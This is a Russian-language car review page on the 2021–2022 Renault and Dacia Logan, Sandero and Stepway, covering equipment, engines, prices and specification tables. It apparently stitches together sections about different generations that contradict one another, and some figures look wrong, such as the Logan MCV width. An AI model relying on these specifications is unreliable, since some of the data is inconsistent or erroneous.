Базовые версии не имеют собственной «музыки». Вместо нее — система Media Control, которая включает два динамика, крепление для гаджета, разъем USB и связь Bluetooth. Установив на смартфон специальное приложение, владелец может подключить его к машине и использовать вместо штатной мультимедийки, при этом кнопки на руле будут работать. За доплату можно заказать полноценный комплекс Media Display с восьмидюймовым тачскрином и проводными функциями Apple CarPlay и Android Auto. У топ-версий есть еще и навигатор, а подключить Apple CarPlay и Android Auto можно беспроводным способом.
В начальной комплектации есть круиз-контроль и ограничитель скорости. Среди опций — климат-контроль, электрический «ручник», датчик дождя, камера заднего вида и парктроники спереди и сзади. А для хэтчбеков впервые предложен люк в крыше.
Что касается техники, то главная неожиданность для европейцев — это отказ от дизелей. Новые Dacia Logan и Sandero предложены только с литровыми трехцилиндровыми двигателями. Базовый атмосферник 1.0 SCe (65 л.с.) агрегатируется с пятиступенчатой «механикой», турбомотор 1.0 TCe (90 л.с.) работает в паре с шестиступенчатой механической коробкой передач или вариатором. А еще в гамме есть газовая модификация Eco-G: тот же турбомотор может работать на пропане и выдает 100 л.с., но заказать такую машину можно только с «механикой». С полными баком бензина (50 литров) и баллоном газа (40 литров) дальность хода достигает 1300 км. Все модификации можно оснастить системой старт-стоп.
В Европе продажи новых моделей Dacia начнутся уже в декабре, хотя Logan будет представлен далеко не во всех странах, а универсала Logan MCV и вовсе больше не будет. Увы, для нас новые Logan/Sandero пока неактуальны. Во-первых, в России машины второго поколения под маркой Renault появились с двухлетней задержкой относительно Европы — и сейчас она наверняка сохранится. А во-вторых, наши Logan и Sandero будут серьезно отличаться от европейских машин. Хотя и они подтянутся вверх по рыночной лестнице, чтобы отдалиться от автомобилей Лада и составить полноценную конкуренцию семействам Solaris/Rio и Polo/Rapid.
Салон renault logan 2021
Салон на 5 посадочных мест, в сравнении с предшественником, заметно осовременили. Конечно, жесткий пластик в оформлении остался, но дизайн стал современным и ушел от нарочитой бюджетности. Эргономика салона также вызывает меньше вопросов — например, кнопки электропривода стекол теперь на дверях, а не на центральной консоли.
В верхней части центральной консоли, под воздуховодами, разместилась аудиосистема с монохромным экраном и кнопками быстрого доступа. Уже для второй комплектации Life, в качестве опции, доступен мультимедийный комплекс с навигацией Media NAV с 7-дюймовым сенсорным экраном. В то время как у базовой версии Access вместо аудиосистемы ниши для мелкой поклажи.
Кондиаицонер с салнным фильтром досутпен во второй комплектации Life. В базе нет кондиционера даже в качестве опции, у нее этот блок отвечает за управление печкой.
На центральном тоннеле есть пара подстаканников и 12В розетка-прикуриватель.
Приборная панель с тремя “колодцами” имеет аналоговые спидометр и тахометр, а в правом “колодце” разместился монохромный экран бортового компьютера. Сами “колодцы” украшены хромированной окантовкой.
Новый руль стал удобнее, хотя у него по прежнему нет регулировки по вылету (только по углу наклона).
Новые передние кресла с удобным профилем и хорошей поддержкой. Такие же устанавливаются на Сандеро и Дастер. Сами сиденья установлены высоко и регулировка по высоте доступна только в более дорогой версии Life. Стоит принимать это в расчет, и помнить о не регулируемой по вылету рулевой колонке. Обивка сидений только тканевая.
Задний ряд сидений довольно просторный — все благодаря внушительной для класса колесной базе. Для задних пассажиров предлагается увеличенный центральный подстаканник, который может вместить бутылку воды, и 12В розетка. Также есть крепления для детских кресел ISOFIX. Cпинки дивана складываются в пропорции 1/3 — 2/3. При этом с полом багажника образуется ступенька.
Более детально о комплектациях и ценах Рено Логан 2021 читайте в соответствующих разделах ниже.
Сравнение универсала renault logan 2021 с lada vesta sw и chevrolet cruze sw
| Сравнение цен и комплектаций авто в базовых модификациях | Renault Logan MCV 2021 Authentique | Lada Vesta SW Comfort | Chevrolet Cruze SW LS | ||
| Двигатели | |||||
| Минимальная цена в рублях | 679 000 | 639 000 | 720 000 | ||
| Мощность базового мотора (л.с.) | 75 | 106 | 109 | ||
| При оборотах в минуту | 5500 | 5800 | 6000 | ||
| Максимальный крутящий момент в Нм | 105 | 148 | 150 | ||
| Максимальная скорость в км/час | 156 | 170 | 177 | ||
| Разгон 0 – 100 км/час в секундах | 13,4 | 11,9 | 12.5 | ||
| Расход топлива (трасса/средний/город) | 7,9/5,1/6,1 | 8,2/6,4/7,3 | 9.0/5.5/7.3 | ||
| Число цилиндров | 4 | 4 | 4 | ||
| Тип двигателя | Бензиновый | ||||
| Рабочий объем в л. | 1.2 | 1.6 | 1.6 | ||
| Топливо | АИ-92 | АИ-92 | АИ-95 | ||
| Емкость топливного бака | 54 л | 55 л | 60 л | ||
| Трансмиссия | |||||
| Привод | Передний | Передний | Передний | ||
| Коробка передач | Механика | Механика | МКПП | ||
| Число передач | 5 | 5 | 5 | ||
| Шасси | |||||
| Наличие легкосплавных дисков | — | — | — | ||
| Шины | R16 | R15 | R16 | ||
| Кузов | |||||
| Количество дверей | 5 | 5 | 5 | ||
| Типы кузова | Универсал | Универсал | Универсал | ||
| Снаряженная масса в кг | 1127 | 1140 | 1285 | ||
| Разрешенная масса (кг) | 1240 | 1280 | 1410 | ||
| Габаритные размеры | |||||
| Длина (мм) | 4494 | 4410 | 4597 | ||
| Ширина (мм) | 1994 | 1764 | 1788 | ||
| Высота (мм) | 1733 | 1512 | 1477 | ||
| Колесная база (мм) | 2634 | 2592 | 2685 | ||
| Дорожный просвет/клиренс (мм) | 174-194 | 195 | 156 | ||
| Салон | |||||
| Объем багажника | 573-1518 | 361-1207 | 450-1320 | ||
| Опции | |||||
| ABS | |||||
| Бортовой компьютер | |||||
| Центральный замок | |||||
| Задние электростеклоподъемники | — | — | |||
| Подушки безопасности (шт.) | 4 | 2 | 4 | ||
| Кондиционер | — | — | — | ||
| Обогрев зеркал | — | — | |||
| Передние электростеклоподъемники | |||||
| Подогрев сидений | — | — | — | ||
| Противотуманные фары | — | — | |||
| Регулировка руля | |||||
| Регулировка сидений | |||||
| Система стабилизации | — | ||||
| Аудиосистема | |||||
| Цвет металлик | — | — | 10 000 руб. | ||
Техническая начинка
Единая платформа с Renault Clio может сподвигнуть разработчиков нового кузова Рено Логана 2021 поэкспериментировать с 3-цилиндровыми атмосферными двигателями объемом 1.0 литра, которые дополнят линейку существующих 1.6-литровых моторов.
Первые могут иметь мощность 65, 75 и 100 л. с. (самый мощный – с турбонаддувом), и такие силовые агрегаты могут оказаться более выгодной (читай – экономной) альтернативой «четверкам».
И те, и другие без проблем стыкуются с надежной 5-ступенчатой механической «коробкой» и 4-скоростным «автоматом», поэтому по части трансмиссий сюрпризов, скорее всего, не будет.
Что касается оснащения, то производитель обязательно сохранит в линейке откровенно бюджетные модификации с минимальным набором опций, а для более состоятельных покупателей предложит «топовый» Рено Логан 2021, не уступающий сегодняшнему. Напомним, что максимальная комплектация рестайлинговой версии «второго» Renault Logan в России включает:
- 4 подушки безопасности,
- климат-контроль,
- круиз-контроль,
- литые 15-дюймовые диски,
- кожаный руль,
- противотуманки,
- электростеклоподъемники на всех дверях,
- систему обогрева лобового стекла,
- подогрев передних кресел,
- медиакомплекс с монитором на 7 дюймов,
- аудиосистему и пр.
Технические характеристики
Кузов
| Тип кузова | седан |
| Класс автомобиля | класс B |
| Длина / ширина / высота, мм | 4359 / 1733 / 1517 |
| Колесная база, мм | 2634 |
| Клиренс (дорожный просвет), мм | 195 |
| Объем багажника, л | 510 |
| Снаряженная масса, кг | 1106 — 1156 |
| Объем топливного бака, л | 50 |
Двигатель и трансмиссия
| Тип двигателя | бензин | бензин |
| Объем, л | 1,6 | 1,6 |
| Мощность, л.с. | 82 | 113 |
| Крутящий момент, Нм | 134 | 152 |
| Тип коробки передач | механика | механика |
| Число передач | 5 | 5 |
| Привод | передний | передний |
| Разгон 0-100 км/ч, с | 13,9 | 10,7 |
| Макс скорость, км/ч | 163 | 177 |
| Расход топлива, л | ||
| — город | 9,4 | 8,5 |
| — трасса | 5,7 | 5,6 |
| — смешанный | 7,1 | 6,6 |
| Тип топлива | АИ-95 | АИ-95 |
Двигатель и трансмиссия
| Тип двигателя | бензин | бензин |
| Объем, л | 1,6 | 1,6 |
| Мощность, л.с. | 102 | 113 |
| Крутящий момент, Нм | 145 | 152 |
| Тип коробки передач | автомат | вариатор |
| Число передач | 4 | — |
| Привод | передний | передний |
| Разгон 0-100 км/ч, с | 11,7 | 12,1 |
| Макс скорость, км/ч | 171 | 170 |
| Расход топлива, л | ||
| — город | 10,9 | 8,6 |
| — трасса | 6,7 | 5,6 |
| — смешанный | 8,4 | 6,7 |
| Тип топлива | АИ-95 | АИ-95 |
Новый кузов Рено Логан Степвей 2021-2022 первым в семействе обзавелся вариатором CVT X-Tronic, который устанавливают в паре со 113-сильным двигателем. Машина с небольшой массой и таким мотором, который работает в паре с механикой, разгоняется очень бодро. Стало ли хуже с вариатором? Почти нет.
Бесступенчатая трансмиссия, конечно, немного крадет динамику, но некритично. Автомобиль хорошо разгоняется, тяги хватает во всем диапазоне скоростей. Вариатор оперативно меняет свои передаточные отношения. При этом стрелка тахометра замирает в одной точке.
Специально для тех, кому это не нравится, при максимальном ускорении стрелка тахометра опускается на 700–800 оборотов, имитируя переключение передач.
Технические характеристики renault logan 2022
В европейских странах обновленный седан будет предлагаться в следующих модификациях:
- Версия с 1,0-литровым бензиновым мотором мощностью 65 л.с., который сочетается с 5-ступенчатой механической КПП;
- Модификация с 1,0-литровым бензиновым агрегатом, форсированным до 90 л.с. Он агрегатируется с 6-ступенчатой механической КПП или бесступенчатым вариатором.
- 100-сильный вариант 1,0-литрового двигателя с битопливной конфигурацией — может работать как на бензине, так и на сжиженном нефтяном газе (пропан-бутан). Эта версия агрегатируется только с 6-скоростной механической «коробкой».
Дизельные двигатели в линейке силовых агрегатов нового Рено Логан 2022 вообще отсутствуют.
В салоне автомобиля имеется руль с регулировкой колонки по высоте и вылету, измененная приборная панель, мультимедийная система Media Display с 8-дюймовым экраном и поддержкой Apple CarPlay и Android Auto (доступен в качестве опции).
Характеристики renault logan stepway 1.6 : технические данные renault logan stepway. размеры рено логан степвей
АвтоКаталог »
| ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Подвеска Renault Logan Stepway | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Передних колес | Независимая, типа McPherson | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Задних колес | Полузависимая, пружинная | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Размер шин | 205/55 R16 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Тормоза Renault Logan Stepway | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Передние | Дисковые вентилируемые | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Задние | Барабанные | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Расход топлива Renault Logan Stepway 1.6, л /100 км | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Городской цикл | 9,8 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Загородный цикл | 6,1 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Смешанный цикл | 7,4 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Топливо | Бензин А-95 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Емкость топливного бака, л | 50 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Экологические характеристики Renault Logan Stepway 1.6 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Выбросы CO2, г/км | 172 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Экологический класс | Euro 5 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Технические характеристики Renault Logan Stepway 1.6 приведены по данным производителя. На нашем портале Вы можете сравнить технические данные Renault Logan Stepway 1.6 с характеристиками любых других автомобилей.
Все технические характеристики Renault Logan Stepway (Рено Логан Степвей)
Яркий свет и «легкая» баранка
Российские условия эксплуатации диктуют свои требования к техническим характеристикам Рено Логан 2021. В отличие от аналогичной Дачии, где применятся литровые 3-цилиндровые моторы с наддувом и без, наши седаны получат атмосферные «четверки» менее требовательные к качеству топлива.
| Модификация | Мотор и коробка | Мин. цена, рублей |
| 1.6 (82 hp) | 82 л.с. 5МТ | 577 000 |
| 1.6 (113 hp) | 113 л.с. 5МТ | 704 990 |
| 1.6 (102 hp) | 102 л.с. 4АТ | 734 990 |
Узнайте больше о новом логан
Новый Renault Logan Stepway 2021 — фото и цена, комплектации, характеристики Рено Логан Степвей
Купить новый Renault Logan II Рестайлинг в Ростову-на-Дону | Цены на Рено Логан II Рестайлинг седан на Авто.ру
Renault Logan 2021 скоро в России! Фото, цены, характеристики
Рено Логан новый купить — цены и комплектации, Renault Logan купить в Москве у официального дилера на
Рено Каптур 2021 уже в России! Цена, фото, комплектации
Renault Kaptur: цена, комплектации, характеристики Рено Каптур
Контрольные точки и размеры кузова Рено Логан Сандеро (Renault Sandero Logan)
Рено Логан 2020: комплектации и цены для России, новый кузов, фото, видео
Узнайте больше о новом Логан
Основные неисправности дроссельной заслонки. Признаки, причины и как их определить
Ремонт датчика абсолютного давления рено логан
Регулировка дальнего света рено логан 2
Замена ВСЕХ ламп на Рено Логан2
Сброс межсервисного интервала renault duster
Причины почему не заводится Рено логан 1.4
Установка и подключение электропроводки фаркопа своими руками, видео. Установка фаркопа на Рено Логан своими руками — Новый Logan
Ремонт Renault Logan : Возможные неисправности приводов передних колес, их причины и способы устранения — Новый Logan
Загрузка...